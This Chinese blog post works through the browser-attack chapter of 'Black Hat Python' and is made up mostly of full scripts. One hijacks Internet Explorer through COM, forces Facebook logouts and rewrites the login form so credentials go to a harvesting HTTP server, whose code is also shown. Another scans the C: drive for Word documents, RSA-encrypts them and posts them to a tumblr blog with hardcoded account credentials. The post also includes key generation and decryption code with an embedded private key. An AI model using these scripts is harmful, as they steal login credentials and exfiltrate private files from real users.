《Python黑帽子:黑客与渗透测试编程之道》 玩转浏览器

基于浏览器的中间人攻击:

#coding=utf-8
import win32com.client
import time
import urlparse
import urllib

data_receiver = "http://localhost:8080/"

target_sites = {}
target_sites["www.facebook.com"] = {
    "logout_url" : None,
    "logout_form" : "logout_form",
    "login_form_index" : 0,
    "owned" : False
}

#IE浏览器类的ID号
clsid = '{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'

windows = win32com.client.Dispatch(clsid)

while True:
    for browser in windows:
        url = urlparse.urlparse(browser.LocationUrl)
        if url.hostname in target_sites:
            if target_sites[url.hostname]["owned"]:
                continue
            #如果有一个URL,我们可以重定向
            if target_sites[url.hostname]["logout_url"]:
                browser.Navigate(target_sites[url.hostname]["logout_url"])
                wait_for_browser(browser)
            else:
                #检索文件中的所有元素
                full_doc = browser.Document.all
                #
                for i in full_doc:
                    try:
                        #找到退出登录的表单并提交
                        if i.id == target_sites[url.hostname]["logout_url"]:
                            i.submit()
                            wait_for_browser(browser)
                    except:
                        pass

            #现在来修改登录表单
            try:
                login_index = target_sites[url.hostname]["login_form_index"]
                login_page = urllib.quote(browser.LocationUrl)
                browser.Document.forms[login_index].action = "%s%s"%(data_receiver,login_page)
                target_sites[url.hostname]["owned"] = True
            except:
                pass
    time.sleep(5)

def wait_for_browser(browser):
    #等待浏览器加载完一个页面
    while browser.ReadyState != 4 and browser.ReadyState != "complete":
        time.sleep(0.1)

    return

代码中只对Facebook的网站进行尝试,之前还添加了虚拟机中的网站DVWA进行尝试,和下一小节的代码一块运行测试。

创建接收服务器:

import SimpleHTTPServer
import SocketServer
import urllib

class CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
    """docstring for CredRequestHandler"""
    def do_POST(self):
        content_length = int(self.headers['Content-Length'])
        creds = self.rfile.read(content_length).decode('utf-8')
        print creds
        site = self.path[1:]
        self.send_response(301)
        self.send_headers('Location',urllib.unquote(site))
        self.end_headers()

server = SocketServer.TCPServer(('0.0.0.0',8080),CredRequestHandler)
server.serve_forever()

在win7上在不同窗口分别运行上述两个脚本。

运行结果:

可以看到访问其它网站时很多是访问不成功的,而且存在一个问题就是,IE浏览器的设置代理端口只能设置一个,但要访问Facebook的话需要设置一个代理端口用于FQ,但是这个脚本也是需要设置代理端口实现监听,因而这里没办法实现到书上的效果,希望知道的大神可以指导指导~

利用IE的COM组件自动化技术窃取数据:

下载PyCrypto库:http://www.voidspace.org.uk/python/modules.shtml#pycrypto/

keygen.py:

#!/usr/bin/python
from Crypto.PublicKey import RSA

new_key = RSA.generate(2048,e=65537)
public_key = new_key.publickey().exportKey("PEM")
private_key = new_key.exportKey("PEM")

print public_key
print private_key

这段代码用来简单快速地生成RSA公私钥并将其输出。

运行该脚本,分别生成一个公钥和私钥,将它们保存下来以便后面的使用:

decrypto.py:

#coding=utf-8  
import zlib  
import base64  
from Crypto.PublicKey import RSA  
from Crypto.Cipher import PKCS1_OAEP  
  
private_key = "MIIEowIBAAKCAQEArRQ560lbOUu/sXiS3plEPZpPCsiw40+Y0jh6FcStgwMRIk0TghveKycuHSYCKdhcCxmTPHQFwDTp4IUmJdLaoKQoshe66l1btPw5lIVR0B7MxSxdDh+VcqF8w4VcRUKdd5gaorBB955/HvkRzDnw9sltiD6mX9Mmd42olxNI54EL8yqkCxjgQPSIgon08QXL+AqEhwt6oPmBilnXcuk76HqMBUaubj4qkhzT5/bMOerabiupn4lgyWKfggqeM8Le6C1LgnZQTryTeIicSygpwaf61MA39X+jEwmiFegQylYkhKyqX2oU+Vq6POQ9oQOtPG5LI4WuuDVMvjyDdeiSwwIDAQABAoIBADmfYUUXUBq8QF7akLMxfcmwpR4nANU8+9kJWoQCze2vSLYNyS/pDUd6rNyhedjqooJDioR28C80rqTET5YKJCWVYcMhKWa7nDueOaFb3YgXqP8ALR71nvDiGMKTlMuuSPS3HC8L1XqWNyZdr/I5XCMdnqzchtGiX80vyXA6yGviO6cVYLO3Rmgn6AbHyhM6apkdGS7zusgYQbxC7R8PnCZiH+pgLyQuC8boHeUCZW3bdLJ5pRkOw+DpeYNL0yZyvKBicKnX85N+o8+yqO56xdVgPxxUEhFJELCr5TYoQW8D9nN8EWqDgEhDfnOA7T/W06dCFQ9xlCqVGiPdTARBTjkCgYEAz84NmYV+Ww5qsfYOrk42OCkAj63p0TxEpY/9Q/Z9axyFGifi+NO7MZOe4ZgVQTtVv27RRAgbAvDLML4LxPVoWZ8Da6cgxSx11zqawv/bcb2g4qEQi4VQ6Wipa50MMTN7ez1gBZku+HDqIvDDUWQoWHsD0kfqGsOLtM4W4BA0pk0CgYEA1Thm5vVZEqHkQufcBu0ZBv7+qnkHRAv1W2QgOrcQuA1XzFHNVaXO5Y2icCtXZQwcoCemznOuvueC+i20dPKVekFlRwtTgj8yAu26r54FIfxIduowcv1i5tcbQottM6n8YEhub4ALs4O8z6yIifQ6sLSJSmmygjOzPb9qSfBwxU8CgYB+MD037cWWG8IUwTuXA22PWu65UT28TmHNPAvq2mK8yXvWL0R4H3L8Hw2LJqQ5kYN3lR7EtjtY5MoulilleDTev13/YGTY9y+z/CWApogmoKVzGaWHY/SHWIQREjQWKJIie1m07JmGSmMTxqqE4VJSsJjYd80kZXyP1do0RAMEvQKBgQCIdXNuBsG96fxjUW6AxEdLMfEcex7KTvj1R4xU54p8sJVrP0MxuE9EnLPEJAjns6uyWA4qfODubs5lfNDMM+C0gJvnrvkAF5/TPgBHmtNgH8zkxhbB0Sb1498fZIo8EWNi35hGJeXXOs2g/6PW3oadRr3C8Qh8ycfCEfpdXdNegwKBgDsOPlzZBw6D02haTMoeIF+RHESM5ZpWQJm2r+ct7P/1K7XLmFKhN8ZrCEKYysstHWwD4AvgGoWW2F3fJxdkewRkLA5zjRkJXR+NmC8hRjPSzIsmV8LRKLmxDnMGoR5YR5lAXhnuwHUBOf02wJH+IW8EJMkDfrr3r66M/gnw5H24"  
  
rsakey = RSA.importKey(private_key)  
rsakey = PKCS1_OAEP.new(rsakey)  
  
chunk_size = 256  
offset = 0  
decrypted = ""  
encrypted = base64.b64decode(encrypted)  
  
while offset < len(encrypted):  
    decrypted += rsakey.decrypted(encrypted[offset:offset+chunk_size])  
    offset += chunk_size  
  
#解压负载  
plaintext = zlib.decompress(decrypted)  
  
print plaintext  

这段代码用于将赖在tumblr的编码文件进行base64解码,从而形成原始的明文字符串,最后进行负载解压。

ie_exfil.py:

#coding=utf-8
import win32com.client
import os
import fnmatch
import time
import random
import zlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

doc_type = ".doc"
username = "[email protected]"
password = "justinBHP2014"

public_key = "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArRQ560lbOUu/sXiS3plEPZpPCsiw40+Y0jh6FcStgwMRIk0TghveKycuHSYCKdhcCxmTPHQFwDTp4IUmJdLaoKQoshe66l1btPw5lIVR0B7MxSxdDh+VcqF8w4VcRUKdd5gaorBB955/HvkRzDnw9sltiD6mX9Mmd42olxNI54EL8yqkCxjgQPSIgon08QXL+AqEhwt6oPmBilnXcuk76HqMBUaubj4qkhzT5/bMOerabiupn4lgyWKfggqeM8Le6C1LgnZQTryTeIicSygpwaf61MA39X+jEwmiFegQylYkhKyqX2oU+Vq6POQ9oQOtPG5LI4WuuDVMvjyDdeiSwwIDAQAB"

def wait_for_browser(browser):
    #等待浏览器加载完一个页面
    while browser.ReadyState != 4 and browser.ReadyState != "complete":
        time.sleep(0.1)

    return

def encrypt_string(plaintext):
    chunk_size = 256
    print "Compressing: %d bytes"%len(plaintext)
    plaintext = zlib.compress(plaintext)

    print "Encrypting %d bytes"%len(plaintext)

    rsakey = RSA.importKey(public_key)
    rsakey = PKCS1_OAEP.new(rsakey)

    encrypted = ""
    offset = 0

    while offset < len(plaintext):
        chunk = plaintext[offset:offset+chunk_size]

        if len(chunk) % chunk_size != 0:
            chunk += " " * (chunk_size - len(chunk))

        encrypted += rsakey.encrypt(chunk)
        offset += chunk_size

    encrypted = encrypted.encode("base64")

    print "Base64 encoded crypto: %d"%len(encrypted)

    return encrypted

def encrypt_post(filename):
    #打开并读取文件
    fd = open(filename,"rb")
    contents = fd.read()
    fd.close()

    encrypted_title = encrypt_string(filename)
    encrypted_body = encrypt_string(contents)

    return encrypted_title,encrypted_body

def random_sleep():
    time.sleep(random.randint(5,10))
    return

def login_to_tumblr(ie):
    #解析文档中的所有元素
    full_doc = ie.Document.all

    #迭代每个元素来查找登录表单
    for i in full_doc:
        if i.id == "signup_email":
            i.setAttribute("value",username)
        elif i.id == "signup_password":
            i.setAttribute("value",password)

    random_sleep()

    try:
        #你会遇到不同的登陆主页
        if  ie.Document.forms[0].id == "signup_form":
            ie.Document.forms[0].submit()
        else:
            ie.Document.forms[1].submit()
    except IndexError, e:
        pass

    random_sleep()

    #登陆表单是登录页面中的第二个表单
    wait_for_browser(ie)

    return

def post_to_tumblr(ie,title,post):
    full_doc = ie.Document.all

    for i in full_doc:
        if i.id == "post_one":
            i.setAttribute("value",title)
            title_box = i
            i.focus()
        elif i.id == "post_two":
            i.setAttribute("innerHTML",post)
            print "Set text area"
            i.focus()
        elif i.id == "create_post":
            print "Found post button"
            post_form = i
            i.focus()

    #将浏览器的焦点从输入主体内容的窗口上移开
    random_sleep()
    title_box.focus()
    random_sleep()

    #提交表单
    post_form.children[0].click()
    wait_for_browser(ie)

    random_sleep()

    return

def exfiltrate(document_path):
    ie = win32com.client.Dispatch("InternetExplorer.Application")
    ie.Visible = 1

    #访问tumblr站点并登录
    ie.Navigate("https://www.tumblr.com/login")
    wait_for_browser(ie)

    print "Logging in..."
    login_to_tumblr(ie)
    print "Logged in...navigating"

    ie.Navigate("https://www.tumblr.com/new/text")
    wait_for_browser(ie)

    #加密文件
    title,body = encrypt_post(document_path)

    print "Creating new post..."
    post_to_tumblr(ie,title,body)
    print "Posted!"

    #销毁IE实例
    ie.Quit()
    ie = None

    return

#用户文档检索的循环
#注意:以下这段代码的第一行没有“tab”缩进
for parent,directories,filenames in os.walk("C:\\"):
    for filename in fnmatch.filter(filenames,"*%s"%doc_type):
        document_path = os.path.join(parent,filename)
        print "Found: %s"%document_path
        exfiltrate(document_path)
        raw_input("Continue?")

这段代码用于捕获本地文件系统中的Word文档,并利用公钥对其进行加密,然后自动启动进程将加密的文档提交到一个位于tumblr.com站点的博客上。

运行结果:

访问tumblr需要FQ,在脚本一运行的时候就会弹出IE登录tumblr的窗口,登录成功后也压缩文件成功了,但是到使用RSA公钥加密时出错了,报错说的是RSA密钥格式不支持,不知道是不是下载的PyCrypto库版本不同。。。

就是差这步就可以上传成功的,成功后如图可以查看到POST的内容:

然后将上面的内容复制下来到解密的那个脚本中运行即可知道该文档的名称和内容是什么了。

猜你喜欢

转载自www.cnblogs.com/LyShark/p/9102611.html